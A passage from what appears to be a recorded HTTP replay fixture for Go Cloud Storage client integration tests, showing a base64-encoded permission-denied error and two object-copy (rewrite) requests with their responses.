4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPUZPUkJJRERFTiwgZXJyb3JQcm90b0RvbWFpbj1nZGF0YS5Db3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1udWxsLCBtZXNzYWdlPWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiwgcmVhc29uPWZvcmJpZGRlbiwgcnBjQ29kZT00MDN9IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YTo4Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuZGVsZXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDMsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiJ9fQ==" - } - }, - { - "ID": "e1d95794cb6be989", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/rewriteTo/b/go-integration-test-20190502-80633403432013-0003/o/copy?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "3" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "e30K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3273" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:15 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoVcH2L0r9wGab--fnRuKptLRoUoHCUHfRegh3rKNQExHVsYLnt1NFwOKFa_6hRbeYXO1aY8-F-KiD6IY3sWykIKXr5iqelEJHTWEMQ8wHuzIcWLO8" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNyZXdyaXRlUmVzcG9uc2UiLCJ0b3RhbEJ5dGVzUmV3cml0dGVuIjoiNSIsIm9iamVjdFNpemUiOiI1IiwiZG9uZSI6dHJ1ZSwicmVzb3VyY2UiOnsia2luZCI6InN0b3JhZ2Ujb2JqZWN0IiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvY29weS8xNTU2ODM1OTE1MjY2MjE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vY29weSIsIm5hbWUiOiJjb3B5IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MTUyNjYyMTQiLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJ0aW1lQ3JlYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MTUuMjY1WiIsInVwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjE1LjI2NVoiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNToxNS4yNjVaIiwic2l6ZSI6IjUiLCJtZDVIYXNoIjoiWFVGQUtyeExLbmE1Y1oyUkVCZkZrZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2NvcHk/Z2VuZXJhdGlvbj0xNTU2ODM1OTE1MjY2MjE0JmFsdD1tZWRpYSIsImNvbnRlbnRMYW5ndWFnZSI6ImVuIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvY29weS8xNTU2ODM1OTE1MjY2MjE0L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2NvcHkvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImNvcHkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkxNTI2NjIxNCIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDS2J4ejkzeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvY29weS8xNTU2ODM1OTE1MjY2MjE0L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9jb3B5L2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiY29weSIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTE1MjY2MjE0IiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0tieHo5M3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2NvcHkvMTU1NjgzNTkxNTI2NjIxNC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vY29weS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImNvcHkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkxNTI2NjIxNCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDS2J4ejkzeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvY29weS8xNTU2ODM1OTE1MjY2MjE0L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9jb3B5L2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiY29weSIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTE1MjY2MjE0IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ0tieHo5M3gvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJtbkc3VEE9PSIsImV0YWciOiJDS2J4ejkzeC9lRUNFQUU9In19" - } - }, - { - "ID": "297f13e741cceb04", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/rewriteTo/b/go-integration-test-20190502-80633403432013-0003/o/copy?alt=json\u0026prettyPrint=false\u0026projection=full\u0026userProject=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "3" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "e30K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3273" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:15 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UroLXQs6945-UOUyN7qOhICUNnGSzCVrNCv5DD9uMyvgD08zpuufBZj8WM8Fxe0DuOuQowqbPEn1UdJdbFTW7puyeY4zX8fM6UgT7SZIVB0Xi-B0OM" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNyZXdyaXRlUmVzcG9uc2UiLCJ0b3RhbEJ5dGVzUmV3cml0dGVuIjoiNSIsIm9iamVjdFNpemUiOiI1IiwiZG9uZSI6dHJ1ZSwicmVzb3VyY2UiOnsia2luZCI6InN0b3JhZ2Ujb2JqZWN0IiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvY29weS8xNTU2ODM1OTE1ODQxOTk3Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vY29weSIsIm5hbWUiOiJjb3B5IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MTU4NDE5OTciLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJ0aW1lQ3JlYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MTUuODQxWiIsInVwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjE1Ljg0MVoiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNToxNS44NDFaIiwic2l6ZSI6IjUiLCJtZDVIYXNoIjoiWFVGQUtyeExLbmE1Y1oyUkVCZkZrZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2NvcHk/Z2VuZXJhdGlvbj0xNTU2ODM1OTE1ODQxOTk3JmFsdD1tZWRpYSIsImNvbnRlbnRMYW5ndWFnZSI6ImVuIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvY29weS8xNTU2ODM1OTE1ODQxOTk3L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2NvcHkvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjd